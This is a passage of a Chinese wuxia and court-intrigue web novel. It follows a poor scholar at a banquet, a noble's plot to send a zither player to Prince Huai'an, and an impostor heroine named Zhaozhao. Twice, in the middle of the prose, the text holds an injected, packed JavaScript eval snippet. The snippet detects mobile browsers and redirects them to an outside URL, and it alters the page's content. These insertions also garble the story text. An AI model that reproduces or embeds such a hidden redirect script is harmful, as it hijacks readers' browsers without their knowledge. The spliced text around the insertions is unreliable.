九霄楼——临安城内最负盛名的酒楼。九层高楼拔地而起,出入者非富即贵,堪称城中第一销金窟。 蒋砚此刻孤零零地站在“九霄楼”金碧辉煌的牌匾下。 楼内的喧笑与丝竹声如海浪般涌出,还裹挟着酒肉香气,他脚尖下意识地转向了来时那条清冷狭窄的小巷。 然而,退意刚生,便又被自己否决——这九霄楼三层的新科宴,是历朝历代传下来的老规矩,举子们初入帝都,借此攀交情、结人脉、拜山头,是踏入庙堂的第一步,鲜少有人轻慢缺席。 因此百姓给九霄楼三层取了个雅称“状元楼”。 更何况,他听闻此次新科宴还邀请到了沈皇后的父亲沈弘文! 沈皇后温娴雅致、端慧明礼,一言一行堪称五姓十族贵女的典范。 可惜,无子嗣。 根据《百晓生沈皇后起居录》记载,承文元年,沈皇后曾怀有一个皇子,可惜七个月的时候意外流产,自此,沈皇后为了未出世的皇儿祈福,终日清修礼佛。 帝后恩爱虽不复从前,但是文帝对沈皇后依然十分尊重,对其母族沈氏的礼遇也一如往昔。 沈皇后出身于五姓大族之一的沈氏,沈氏显赫非一朝一夕之功,乃世代簪缨与名望积累所致,寻常氏族难以望其项背。 沈老太爷沈醉才冠当世,尤其擅画,是真正的丹青妙手,其山水画造诣,当世无出其右,而且为人品性温良,奈何子嗣不济。 长子沈弘文一脉仅得一个女儿,入主中宫,沈弘文虽然浅薄无知,但是仗着女儿贵为皇后,倒也有几分薄面;次子沈弘礼虽承继家业,却才智平庸,育有二子亦声名不显。 若是自己费劲心力写出的《寒潭赋》能得国丈沈弘文赏识……那是寒门士子做梦都不敢奢望的通天捷径! 若是错过今日,等着殿试之后五姓十族子弟们论资排辈地分派好官职,自己或许连远远望一眼那等云端人物的机会都不再有。 蒋砚下颌猛地绷紧,像被无形的鞭子抽中脊梁,迎着那片刺目的繁华与人情的寒霜,一步踏了进去—— 鎏金兽炉中青烟袅袅,珍馐美酒罗列于前。 酒过三巡,沈国丈眼神迷蒙,言语间的世家傲气便愈发不加掩饰。 “呃……”一个响亮的酒嗝冲口而出,他摇晃着身体,话里话外皆是陈腐的“五姓十族血统论”,“……这世间,出身自有天定。龙生龙,凤生凤,泥鳅之辈,纵得风云际会,也难登大雅之堂。祖宗荫庇,血脉传承,方是立世根本。” 他咂摸着嘴,涎水在嘴角聚成一道微光,声音陡然拔高,带着醉后的亢奋与尖锐,“要我说只有血统纯正的五姓十族才是天命所归,其他那些个寒门草莽,侥幸得势,终究根基浅薄,难堪大用。” 此言一出,席间气氛瞬间凝固,尤其寒门举子的谈笑声骤然收敛。 蒋砚刚刚举杯庆贺的手重重放下,脸上生动的喜悦迅速褪去,化为一种混杂着难堪、焦虑和深深愤恨的苍白。 “国公爷所言极是,”一道清越含笑的嗓音,如珠玉般滚落,巧妙地打破了僵局,“血脉渊源如参天古木之根。只是古木参天,根深固然紧要,却也需枝叶向阳,方能生生不息。若固守一隅,视新枝为异端,恐也难抵风霜侵蚀。您说,是也不是?” 只见一个世家公子做派的青年,身着流云暗纹的月白锦袍,自席间悠然起身。 青年行至沈弘文案前,姿态优雅地一揖,“见过国公爷,祖母前日还念叨您呢”,青年语调温煦,既不过分热络,亦不失世家子弟的矜贵风范。 “祖母忆起您当年在翰林院时那份博闻强识,至今想来,仍是赞叹不已。她老人家寿辰在即,特意叮嘱晚辈要请大人过府一叙,再听听您的新论。” “此人是谁?也是今年的举子?”蒋砚好奇地询问左右。 “你不认识他?”身旁人颦眉诧异道,“这是五姓十族中韩家的二公子——韩硕,是此次举子中的佼佼者,他母亲和当朝德妃娘娘是同为窦氏出身的堂姐妹。” 沈国公正后悔醉酒失言,接过韩硕的话音,顺势起身,“也好。许久不见韩老夫人。” 韩硕见状笑眯眯上前,“国丈爷,我新得了董其昶的江雪图,想请您移步偏厅,帮晚辈鉴赏鉴赏。” 韩硕搀扶着醉酒的沈弘文,将其引向偏厅方向,“国丈爷今日兴致颇高啊。晚生听着您那番‘高论’十分受教,不过也替您捏了把汗……这要是不慎传到淮安王耳朵里容易生出误会……” 他声音更低,带着一丝意味深长,“淮安王虽然出身薛氏,但是素日和那些平民举子走得极近,在二皇子面前大力举荐寒门,有时候都阻了五姓子弟的路呢!国丈爷今日是酒后失言,但以后千万别在淮安王面前也这般‘推心置腹’,免得……徒惹不快。” 韩硕太了解沈弘文这类老顽固了,他们最恨被年轻一辈“指出正确的错误”,那种失权、被轻视、被冒犯的感觉,瞬间点燃了沈弘文本就因酒意而膨胀的怒火。 果然,沈弘文额角青筋暴起,“哼!韩家小子,你这是在教训老夫吗?!” 他手指颤抖地指向韩硕骂道:“淮安王薛景珩?!他算个什么东西!仗着辅佐二皇子的从龙之功就不知天高地厚了!不过是下等的十姓氏族而已……” 韩硕瞧着沈弘文的白胡子因为愤怒一颤一颤的,憋笑听着沈弘文继续道,“……五姓先祖曾相助女娲抟土、随大禹治水,受命于天,创下这万世太平。沈氏先祖开疆扩土的时候,他还没生出来呢!” “是,是,晚辈知晓的!”韩硕连连应和道。 偏厅内,熏香浓郁得有些发闷。 沈弘文肥硕庞大的身躯瘫在紫檀木圈椅里,鼾声如雷,涎水沿着花白的胡须淌下,在名贵的锦袍前襟洇开一片深色的污渍。 方才在宴席上指点江山的威风荡然无存,只剩下一个被酒气征服、散发出腐朽酸臭气味的臃肿皮囊。 韩硕站在三步开外微微侧身,好看的眉头几不可察地蹙了一下,仿佛被那浑浊的酒气和体味呛到,随即飞快地移开了视线,仿佛多看一秒都会污了眼睛。 “公子,”贴身护卫好奇询问道,“您才华斐然又出身贵胄,殿试后注定要排在前三甲,何必来参加这种举子的寒酸聚会,属下看您刚刚的饭菜恐怕不合胃口,都没用几口……” “蠢材。”韩硕薄唇轻启,语气是那种世家公子特有的漫不经心,“你以为,本公子方才替那几个寒门举子解围,是起了什么恻隐之心?” 护卫微怔,谨慎道:“属下不敢妄测。只是……公子此举,似乎不像您平时的做派,而且还当众驳了沈国丈的面子……” “沈国丈?”韩硕发出一声极轻的嗤笑,“沈醉天纵英才、沈皇后端庄□□,怎么会有这种儿子和父亲?!真是丢尽了五姓十族勋贵的脸面!” 他顿了顿,声音带着一种洞悉世情的冷酷,“天下如棋,自有其规则。寒门与世族,便是这盘棋上位置不同的棋子,泾渭分明,就该各安其位。朝廷设科取士,无非是让天下人各尽其才……总需要些新鲜的棋子去填充边角,处理那些我们无暇顾及的琐务。让他们在规则内 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“至于二殿下……”韩硕眼眸晦暗更深,“我若和淮安王生了龌龊,他恐怕乐见其成!” 顿了顿,韩硕重新展开折扇,驱散着侧厅里令人作呕的酒气,犹豫道,“宫中可有消息传来?” 护卫抬眸打量着主子的神色,斟酌道,“云罗九公主年少不更事、玩心甚重,对婚嫁大事……尚未议定,只是有德妃娘娘常常劝解约束着,九公主与您的婚事是板上钉钉的事!德妃娘娘毕竟是您亲姨母,婚姻大事上还是要维护氏族利益的。” “哼”,韩硕转过身,“谁稀罕她个臭丫头!” “妙语琴师准备好了吗?” “启禀公子,妙语琴师三日前就已入京,如今便将歇在九霄楼,您可要过去瞧瞧?” “只是还有件事”,护卫迟疑着吞吞吐吐道,“昨晚一帮江湖宵小险些闯入琴师房间,说是奉独孤世子的命令搜查什么逃犯?” “独孤世子——独孤迦罗?”韩硕颦眉,那抹深藏的嫌弃与厌恶再次清晰地浮现,“他之前妄图插手科考大事,被淮安王状告驱逐出京,还害得其父摄政王独孤慎丢尽了脸面,如今不好好呆在边陲反思己过,还敢插手临安城中事?” “所幸属下赶到及时,并未让人进屋,没敢扰了妙语琴师的清净。”护卫赶忙补充道。 “做得好!”韩硕露出若有所思的笑意,“妙语琴师可是我专门送给淮安王的大礼!人妙、琴妙、滋味更妙!” 护卫闻言露出心领神会的笑意,“只是公子,莫不如咱们悄悄将琴师和礼物送到淮安王府?为何要搞这么大阵仗?摄政王独孤慎近来正在四处抓世家子弟铺张浪费的把柄,此举此时是不是有些张扬?” “薛景珩这个人素来清正,若你悄无声息送过去一定会被断然拒绝,说不定连人带礼物一起被丢出门”,韩硕眼中浮现一丝笑意,“……可若是我借着韩氏和姨母德妃娘娘的名义送过去,他就是心有十分不满,也要顾忌二皇子和德妃娘娘的体面,不得不给我几分薄面暂时收下……至于后事如何,就要看妙语琴师的手段了。” 前厅,蒋砚坐在角落,指节因攥紧酒杯而发白,沈国公的辱骂言犹在耳。他目光低垂,几乎要将杯壁灼穿,却不敢提前离席。 就在这时,他眼角的余光捕捉到九霄楼下庭院侧门的动静。 一乘朱漆金顶、装饰着珍珠流苏的精致小轿,在一众富贵仆从的引领下,悄无声息地停驻。那轿帘是罕见的雨过天青色云锦,在月光下流淌着柔和的光泽,晃花了他的眼。 一阵风过,卷起庭中落梅,也顽皮地掀起了轿帘一角。 帘内端坐的女子微微侧首,一方素白面纱覆面,风却将那轻纱的下缘倏然撩起—— 时间仿佛在蒋砚书眼中凝固了。 他看到了少女的半张脸。玉琢般的下颌,肌肤在光影下细腻如最上等的羊脂白玉,透出莹润的光泽。樱唇一点微微抿着,带着一丝清冷的疏离自持。 最勾人的是那双眼睛——即使隔着被风扬起的朦胧面纱,即使只是惊鸿一瞥的侧影,也让人见之忘俗。 那双眸子犹如幽潭倒映着星河,波光一动,清辉流转,竟使满堂华灯黯然失色。 还有眉间一点云纹花钿,勾魂摄魄。 “蒋兄?蒋兄!?……在瞧什么这般出神?” 听见同桌好友的呼喊,蒋砚才猛地回过神,喉结剧烈地上下滚动了一下,一股干渴灼烧着他的喉咙。 他几乎是立刻,下意识地侧耳捕捉着周围的议论。 “楼下软轿中的女子是何人?” “啧啧,单看这排场气度,就不是俗物……” “听说淮安王爱听琴,这是韩公子费了好大功夫才从江北请来的琴师,送去淮安王府弹琴献艺……” 权势,地位,还有这样的绝色……竟然尽归淮安王所有? 只是因为他出身五姓十族?! 蒋砚指间的琉璃盏不堪重负,裂纹乍现,酒液四溅! 13. 妒意生 “嗒……” 一滴水珠从浴桶边缘坠下,落入水中,声响在氤氲水汽与寂静中显得格外清晰。 满室暖湿的雾气尚未散去,呼吸间尽是浴豆蒸腾后的甜暖气息。 铜镜里映出少年抿紧的唇线—— “……听说你今日去了薛景珩的书房?”他话音一转,声音闷得像浸了水的棉絮,吃醋和嫉妒都满溢,偏生还要强装镇定。 少年生得一副极好的皮相——眉如墨画,眼若琥珀,本该是个令人过目不忘的俊俏模样。可偏生那眉眼间总笼着一层怯生生的雾气,像是上好的宣纸上蒙了层劣质窗纱,将原本夺目的光彩都滤成了灰蒙蒙的暗色。 本该是走在街上要惹得小娘子掷果盈车的五官相貌,偏生有种古怪的本事,叫人第一眼总瞧他不见。 就像此刻,他握着桂花糕立在烛光里,虽然衣衫朴素,却因着那截白玉似的脖颈,突然显出几分惊心动魄的清艳来。 可待要细看时,他又垂下头去,那点惊艳便如露水入土,倏忽不见了。 只剩个灰扑扑的身影,仿佛天生就该隐在墙角檐下,做最不起眼的那个。 “这是詹阿婆刚出笼的糯米桂花糖糕。”他声音也温吞,像隔了层纱。 少女声音带着抗拒,“今日晚膳很合胃口,现下吃不下了……” 少年也不恼,温声细语道,“薛景珩已经起疑了……”那双琥珀色的眸子在烛火下如玉髓清透,“昭昭,跟我回青衣门吧”,他的指尖无意识地摩挲着糖糕的签子,声音闷得发涩,“薛景珩最擅在朝堂上揣度人心,你那些小把戏……早晚瞒不住他的。” “我看过小医仙送来的福安郡主画像,除了眉间一点云纹胎记,简直与我宛若双生!我与薛景珩相处这些时日,他何曾起疑?!……你是不相信我的蛊魂铃?还是怀疑我?”少女眯起眼,语气不满。 “纵然如此,你也不该私离珞珈山,以身入局亲至淮安王府……” 少女穿着素白中衣从屏风后转出,衣带松松垮垮地系着,露出一截雪白的锁骨。 她浑不在意地赤脚踩过地砖,发梢还滴着水珠,“那不过是因势利导的权宜之计,我中了千面罗刹的牵机蛊,为了躲避追杀,正巧遇到被韩硕献给薛景珩的妙语琴师,这才狸猫换太子用她的身份躲过一劫。” 瞧见她衣衫下若隐若现的裸露肌肤,少年猛地别过脸去,下颌线绷得极紧,睫毛急促地颤了几下,却始终不肯转回来。 他喉结重重地滚动,从牙缝里挤出几个字:“……把衣服穿好。” 少女闻言不觉尴尬,反而扬眉调侃道,“子晏长大了,会害羞了?” 她故意凑近打趣,带着沐浴后的暖香去够他手里的糖糕,“躲什么?我们相伴长大,宛如姐弟……” “柳昭昭!”陆子晏抿唇不语,撇开头拿起外衫将她罩在怀中,“我不喜欢你这般轻浮地对待我,就像你……不喜欢今日薛景珩如何对待你的样子。” 少女闻言眸中闪过不快,见他仍偏着头,确是生气的表情,伸手轻拽了拽他的衣袖,“好了,别恼了。” 指尖在他腕间一触即收,带着几分小心翼翼的讨好。 “子晏”,她唤对方的声音放软了些,却不显得刻意,反倒像是不经意流露的亲昵。 陆子晏的目光在她发间一顿,状似无意问道:“那支碧玉簪怎么不带了?” 昭昭闻言一怔,手下意识抚向空荡荡的鬓边,心猛地一沉——她旋即掩饰了惊惶,抬眸弯起一个轻松的笑:“碧玉簪是你亲手雕刻,送我的生辰礼物,岂能日日戴出来?我仔细收在匣中了。” 夜风穿堂而过,烛火摇曳,映得陆子晏脸颊半明半暗,他眼底浮起一层浅淡的晦暗,眼中是柳昭昭看不懂的哀恸。 “你今日怎么这般奇怪?”昭昭困惑地伸出手指摸了摸他的额头,“既没吃酒,也没发烧啊!” “只是……为何费了半月时间才寻到我?”昭昭理所当然地质问。 陆子晏平摊的掌心递过一颗黑色药丸,“千面罗刹这个临安堂堂主确有几分本事,他炮制的牵机毒十分复杂,解毒的药引百年通幽藤着实难寻,所以路上耽搁得久了些……” 陆子晏话音未落,便被昭昭打断,“不必了,牵机毒初时却有不适,但是三两日后症状便减轻,如今已彻底好转,许是淮安王府的大夫确有几分本事……” 陆子晏递出的手悬在半空,眸底的光彩悄然黯了下去。 转瞬她又微微扬起下巴,笑意倏然加深道,“昨夜我趁薛景珩昏睡用蛊魂铃试探,已知晓山河令就藏在书房暗格中。” 月光透过窗棂,在她眉眼间投下细碎的光影。 “不出半月——山河令必是我的掌中之物。” 昭昭眼底狡光乍现,那份骤然迸发的锋芒,竟比烛火更亮,隐隐有迫人之势。 陆子晏静静地望着她,眉梢眼角都染着温软的笑意。 烛光在他眸中流转,映出一片毫无保留的纵容。 “好。” 他无意识地应和着,声音低柔得像是怕惊扰了她的兴致。 “门主还在闭关吧?”少女骤然旋身,裙裾如盛放的雪浪翻涌而起,卷起一阵微凉微苦的荷花香气。 她惯常明澈慧黠的眼神,此刻却罕见地游移不定,纤长的手指下意识地抚过裙侧繁复的刺绣纹路,指尖微微收紧,第一次露出心虚的试探,“小医仙说他这次闭关,是为了重新画皮,至少要两个月的时间……” 陆子晏闻言嘴角的笑意淡了几分,“若是被他知晓你擅闯淮安王府,我们两个都难逃罪责……” “门主不会知道的!”昭昭一双明澈的眸子神色骤变,她顿了顿,声音似裹着蜜糖般娇俏,却又沉沉压下来,带着不容置疑的笃定,“对不对,子晏?” 陆子晏垂眸不安道:“像从前那般过平静日子不好吗?……为了长孙无垢半句似是而非的预言,便假扮福安郡主来接近薛景珩,值得么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“昭昭?”陆子晏时刻盯着她的一举一动,声音陡然紧绷。 昭昭唇色在瞬间褪尽,额角沁出细密的冷汗,手指猛地攥紧胸前衣料,喘息间艰难挤出几个字,“今天……是什么日子?” 陆子晏跪下抱起她歪倒的身子,怔了一瞬,神色骤变,沉声道:“初一。” 冷汗几乎将浸湿了衣衫,昭昭整个人汗津津的,仿佛刚从水里打捞出来。半晌,剧痛才如潮水般倏然退去,只余阵阵隐痛缠绕心头。 抬眼望见陆子晏紧蹙的眉头与眼底的心疼,她勉力绽开一个轻笑:“不碍事的。你也知道,不过是我自幼便有的毛病,原是每年发作一次,这几年变成了每半年一次……这次许是被牵机毒影响提前发作了……” 陆子晏脸色并不好看,沉声追问:“柳昭昭,上次发作是什么时候?” 昭昭避开他的视线,声音轻得几乎听不见:“……半月前。” 14. 难画皮 陆子晏犹豫地从怀中取出一个巴掌大的紫玉盒,刚掀开一条缝隙,阴冷的腥气便弥漫开来。 只见盒中静卧一枚虫卵,金纹在卵壳下如活物般游移,发出几不可闻的低鸣。 昭昭目光触及此物,黛眉几不可察地一蹙,颇为嫌弃地隔着衣袖戳了戳卵壳,“这就是金蚕蛊?仅次于黑寡妇的天下第二毒?” 话音未落,她已伸手将虫卵拢入掌心。 内力渡入,蛊毒入体。 一股奇异的、带着麻痹感的炙意迅速驱散了蚀骨的灼痛,昭昭紧绷的身体骤然一松,紧咬的牙关也缓缓松开,发出一声极轻的、如释重负的喟叹。 陆子晏不错眼地望着昭昭,眼底情绪翻涌——分明是饮鸩止渴的法子,却偏能解她苦楚。 五年时间,他寻尽天下灵药,都治不好这古怪病症。 这症候来得蹊跷。 平日脉象平和,气色如常,纵使神医圣手都诊不出异常。可每逢发作却如万蚁噬心,痛彻骨髓。 陆子晏和青衣门访遍名医,试尽珍奇药材,汤药灌下去皆如泥牛入海。 唯独这以毒攻毒之法,可以暂缓痛楚。 更奇的是,剧毒入体非但伤不了她分毫,反让脉息愈发平稳,仿佛那致命毒物早已被她骨血吸纳,化作滋养自身的养料。 “好多了。”昭昭轻叹。 然而二人都心知肚明,这不过是权宜之计——待到下次毒发,便需寻更烈性的毒物方能压制。 “昭昭,”陆子晏俯身替她掖好被角,声音放得极轻,“纵使踏遍十六州,我也定会寻到根治之法。只是这些时日,我需离开办事,不能常伴你左右,你在淮安王府务必当心。” “又要走?”昭昭不满地攥住他衣袖,“每次相聚都是来去匆匆……连门主都不知你踪迹。原以为这次能多见些时日!” 她忽然拔下鬓间珍珠流苏钗,钗尖轻抵在他心口,声音冷冽:“陆子晏,你究竟是谁?金蚕蛊生于昆仑之巅,有五姓十族重兵看守,岂是寻常人能得手的?” 陆子晏迎着她审视的目光,声音低沉却清晰得如同誓言:“重要吗?五年来我们相依为伴,是彼此愿意舍命相护的人,这身份,便是我的来处和归途。” “昭昭”,他目光灼灼,带着不容置疑的坚定,“无论何时,我永不会背弃你。” 昭昭在他澄澈如水的眸中只看见自己清晰的倒影,堂皇中垂眸错开他的眼神,舌尖百转千回后只剩下一句询问,“……要多久回来?” “……约莫要半个月。” 窗外一株老梅被风吹得簌簌作响,月光将两人的影子投在墙上,交叠成一片模糊的剪影。 “……万事小心。” “好……只要你别主动招惹薛景珩。”陆子晏垂下眼眸,“淮安王府或许比青衣门更安全……无论如何,他都不会伤害你……”他的声音里带着自己都没察觉的酸涩,话到此处戛然而止。 “好。”昭昭忽然仰起脸,尾音轻得像梅枝上的积雪,却让他胸腔里泛起细密的不安。 最后一片云遮住月亮时,陆子晏突然俯身,指尖轻拂过她耳垂,却在即将触碰的瞬间被昭昭偏开。 “子晏……”她有些心虚想要解释,却被陆子晏阻止。 “男女之情上,你不爱我这件事,不必解释……” 远处传来更夫的梆子声,烛芯啪地爆开一朵灯花。 满室寂静里,她朝着虚空中他刚站立的位置握紧了手掌,仿佛那里还藏着他的余温。 淮安王府,客房,药炉腾起热雾氤氲,苏怀堂肩膀和腰上的伤口还没恢复,此刻斜倚在青缎靠枕上,丹凤眼挑起瞧着单膝跪地的侍卫,神色微微诧异—— “金蚕倒不是什么稀罕玩意,多它一味能加速经脉愈合,但若以黄精替代,药效相差无几……不过多养几日罢了。” “只是,七屠竟然失手了?”苏怀堂指节叩在青瓷药碗上,震得碗底残余药汁晃出涟漪,“又是那个青衣蒙面男子?” “是”,侍卫额头抵着地砖:“来人身法诡谲轻灵,七屠确实不是对手……”话音未落——东南檐角传来比露珠坠地还轻的踩瓦声。 “什么人?竟然在淮安王府来去自如?!” “少主?”侍卫的刀刚出鞘半寸,苏怀堂已展开腰间的雁翎扇跃出。 扇面“唰”地划过空气,十六根精钢扇骨在夜色中闪过寒光。他破窗而出的瞬间,三枚扇骨暗器已射出,钉穿了两片刚巧飘落的梅花。 苏怀堂折身掠过屋檐,扇骨末端,一滴未干的血珠缓缓滑落。 第三枚暗器得手了。 月下一道青影踏着皑皑松枝掠过,衣袂翻飞如展翅孤鹤。 陆子晏抚着腹部,闷哼一声,玄衣顿时洇开暗色,暗叹道,“小瞧了鸣玉公子苏怀堂,没想到他重伤如此,竟还能这般警觉?” 只是苏怀堂到底伤重,是强提着一口真气跃上屋脊,喉头立刻涌上腥甜,他硬将那股腥热强压下去,齿缝间余下一缕暗红血痕。 陆子晏左手遮面挡住相貌,声音温吞相劝道:“阁下三焦经脉有损,再运功会震断心脉。”说罢足尖轻点屋檐瓦砾,身影已融进暗夜消失不见。 而此时苏怀堂正盯着他来时的方向出神——福安郡主暂居的暖玉阁。 手中扇骨突然“咔”地收拢,惊飞了檐下栖息的寒鸦。 “福安郡主?有点意思!” —— 青衣门,水汽弥漫中,少年的黑发湿漉漉地贴在额前,脊背处的肌肉微微收紧,心口那条细长的伤痕格外突兀。 他紧咬下唇浸在温泉中,水珠顺着紧绷的腰线滚落,与发梢滚烫的汗水刚好混作一处。 “门主,该换药了。” 小医仙青梧背着药箱掀帘而入,她容貌并不惹眼,五官寡淡如薄雾笼罩的远山,眉宇间透着一股清冷之气,让人不敢轻易亲近。 小医仙扫了一眼水面倒影,少年肌理分明的脊背上,一道龙血契纹如同活物般游走,因为拉扯的剧痛,惹得他不住颤抖战栗,唇间露出细碎压抑到极致的痛楚声。 小医仙持针的手指不觉颤抖,第二针扎偏了半指位置。 “可是哪里不妥?你今日有些走神?” 水雾氤氲中,少年缓缓侧过脸来。 他容貌极盛,连落在身上的月光都仿佛凝滞,不敢沾染造物主亲手雕琢的每寸肌理。 小医仙对上少年疑惑的目光,一时语塞。 那双眼太清也太利,像浸在深潭里的千年寒冰,倒映出她自己仓皇失措的影子——分明照见所有痴念,却无半分涟漪。 小医仙愣了愣,声音却不自觉带上几分怨怼,“我的针法本可以保你撑到满月无碍,是你自己一意孤行偏要连夜赶回青衣门,一路上跋涉辛苦,又没有温泉水疗愈,才导致皮肤提前剥落。” “要重新画皮”,她漫步走进温泉池,正对着少年,手指战栗地从他耳后的裂纹处缓缓揭开人皮面具,水面突然漾开血色涟漪,一张极其普通的男人脸逐渐浮现在水面上,年纪约莫三十出头,脸上雀斑点点,落在人群中很快便泯然众人,毫无记忆点的一张脸。 少年反手劈碎水面倒影,带着几分厌弃,“不许看“,水面的倒影晃了晃,涟漪散去,人影却愈加清晰。 小医仙心疼地握住他的手腕,没有被躲开,声音不自觉柔和了几分,“附身的模样到底有何不好?我们大家都认得出是从前的阿湛……不就好了,为何执意偏要画皮换回本来的面容?” 小医仙站在池中眼神复杂,心中涌上一股莫名的情愫。 她犹豫地伸出手,手指轻轻划过他温热的皮肤,掌心传来的触感仿佛一股微弱的电流,“别紧张,我已经熟练掌握了画皮技法,这次不会很痛”,她面露不忍继续道,“你明知道画皮的药材是有毒的,每动用一次,你的寿命便要减去几个月?” “值得吗?” 少年避而不答只是轻唤她的名字,“青梧”,声音带着温泉浸润后的沙哑,“这两个月……辛苦你了。” 小医仙捣药的指尖微微一顿,垂眸点头,“确实辛苦”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637537|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可是”,月光勾勒出她清冷轮廓,她声音不疾不徐,带着素日的高冷道,“你若是死了,岂不有负我药王谷清誉,砸了我‘小医仙’的招牌。” 少年闻言轻松地笑起来,池水随着他细微的动作轻漾,“也是”,他的声音添上几分玩笑,“那就多谢小医仙悬壶济世、普度众生的恩泽。” “我只是救你”,她唇角勾起一丝极淡的弧度,“旁人性命与我何干?” 短暂的沉默。 少年迟疑着开口,声音低沉,带着不易察觉的探询,“我昏迷这些时日……青衣门,可有大事发生?” 小医仙闻言转过身背对着人,语调平缓甚是冷淡,“你昏迷这段时间发生的事情倒是多,朝堂上,以二皇子和五姓十族为首的保皇派与独孤慎的革新派争斗不休;江湖上,天一阁和青衣门二分天下,只是不知……门主打听的是哪一件?” “青梧……”少年声音沉了几分,带着被戳穿心思的不满和威胁。 小医仙猛地转过身来,月光下,她那双素来清冷如古井的眸子里荡起波澜,眼神像受伤的小兽,倔强地盯着池水中的人影,“怎么,戳中你的心事了?你若问的是昭昭,她从没来过!” 小医仙一字一顿,仿佛要将这残酷的事实钉入少年心里。 “你昏睡不醒之际,昭昭姑娘忙着处置假传‘无相令’的叛徒,忙着追查山河令的下落,就是从没想过来探望你!” “山河令?”少年眼神一凝,眼中倦怠被锐利取代,“她现下人在何处?” 他下意识地向前倾身,带起一阵涟漪。 小医仙看着他的反应,不紧不慢地整理着药箱缓缓道,“此事说来话长,不知是哪个吃了熊心豹子胆的叛徒,竟敢假传你的无相令,私自调动了临安堂和其他各地几处暗桩追杀鸣玉公子苏怀堂!” “昭昭何等机敏,蛛丝马迹间就嗅出了不对。然后顺着这条线一路追下去……”她故意顿了顿,打量着面前人阴沉的脸色,冷笑道,“昭昭查出青衣门中有人与独孤世子暗中勾结,想借青衣门之手清除异己。” “独孤迦罗?”少年缓缓吐出这个名字,周身气息骤然变冷。 “是!”小医仙继续道,“还不止如此,昭昭何等聪慧,既然查到这步岂能罢休?她顺着这这条线索抽丝剥茧……” 她故意拖长了音调,“却意外在落霞镇从救下了长孙无垢,然后听到了他的醉酒预言……” “……帝星渐明,山河令现,北辰耀于中天,而薛氏……承令而炽,光灼九野……” 小医仙好整以暇地顿了顿,目光灼灼紧盯着他的每一个反应,“虽然只是半句含糊的预言,但是……” 少年闻言猛地起身,水滴沿着下颌紧绷的线条,坠入涟漪未散的水中,在寂静暗室中发出清晰令人心悸的声响。 “薛氏?薛景珩?!” 小医仙看着他失态的样子,脸上露出一副早知如此的神色,心中酸涩与快意交织,薄唇轻启,“是的,昭昭去了淮安王府。” 偏又不够,轻笑道,“没错,她回到了薛景珩身边。” 水波猛地一荡,哗啦一响,少年起身带起的水花溅湿了她半幅衣袖。 他眼底那点惯常的冷淡被骤然燃起的急怒覆盖,紧抿的唇线透出锋利的寒意。“所以,你放任她走向薛景珩,然后算准了时间,这时候才告诉我?” “青梧,不为自己解释吗?” 少年攥住她的手腕,力道有些失控,错勾缠住她的衣带——刺啦一声轻响,布料滑落,瞬间露出她小半个肩头,莹白肌肤在氤氲热气中格外刺目。 “你明知昭昭……”话音戛然而止,少年呼吸乱了一刹,倏地松开手、避开眼,“抱歉,我不是有意的。” 水声哗啦一响,他已起身踏出温泉,脊背绷成一道孤绝而僵硬的线。 小医仙望着他几乎称得上仓促逃走的背影,和他刻意避开不肯再落回自己身上的目光,心口那点微末的期待终于寸寸冷却。 “阿湛,你知不知道这样更伤人?” 15. 碧落坊 淮安王府,暖玉阁,昭昭醒来时已经天光大亮。 因着昨夜旧疾发作,她此刻身子沉得像是被夜露浸透的绢帛,连指尖都懒怠动弹,她将自己往锦被深处埋了埋,罕见地生出几分赖床的任性。 守在外间的夏蝉听到动静,柔声道:“郡主醒了?” 得了帐内一声轻应,夏蝉方才轻手轻脚地掀开珠帘,抿着嘴笑道:“王爷一早遣人来问了三四回呢。每回都欲言又止的,最后只嘱咐让郡主好生歇着,不许惊扰。” 被褥下的身影几不可察地一僵。 昭昭撑起身,长发散落肩头,睡意顷刻散去,“薛景珩……”她顿了顿,嗓音还带着刚醒时的微哑,犹豫道:“他要见我做什么?” 夏蝉绞了热帕子递来,“这奴婢可不知,约莫是惦念郡主了。” 正梳妆间,殿门轻启,一列侍女捧着早膳进来。 夏蝉略瞧了一眼,笑道:“王爷昨天深夜处理完奏章,又特意问起您三餐起居,听闻郡主晚膳多用了半盏冰糖雪里红,今晨便命人将新贡的山楂全数送来小厨房了。” 昭昭攥着温热的帕子,指尖微微蜷缩,只低声吩咐道:“你先出去吧,我梳妆后自会去见他。” “是,郡主。”夏蝉依言告退。 昭昭对镜理了理衣襟,铜镜中映出的眉眼熟悉又陌生。 指尖无意识抚过唇角的胭脂膏子,忽然困惑道:“言靖雪……我与你,竟相似至此么?” 声音既轻且微,裹着几分恍惚的不安。 她指尖拂过鬓发,倏然顿在空荡荡的鬓边。 自己平素虽不喜欢玉石累赘,可这是子晏亲手雕刻的碧玉簪……怎地忽然不见了? 窗外传来侍女们轻声嬉笑。 夏蝉立在廊下,跟府里几个姐姐凑趣说话,没留神暖玉阁内动静。 “春诗姐姐,听说十一娘忽然被公子免了近身服侍的活计,特许了一处院子自住,还派去了两个粗使丫头伺候……莫不是公子瞧上了她,要收为屋里人?” 被唤春诗的婢女冷笑了一下,挑起眼眉不做声。 春诗年纪不过二十一二岁,容貌昳丽,着一袭浅粉襦裙,鬓边的蝴蝶金簪随着动作摇晃,十分打眼,美得像一株过分秾丽的工笔牡丹,带着几分不合时宜的俗艳,虽然像是个空有皮囊的俗物,但是难掩姿色,在一众婢女中依然出挑。 另一个小丫头颇会看眼色,她知道自诩春诗美貌,许是藏着几分攀龙附凤的心思,最见不得王爷身旁有侍女得势。 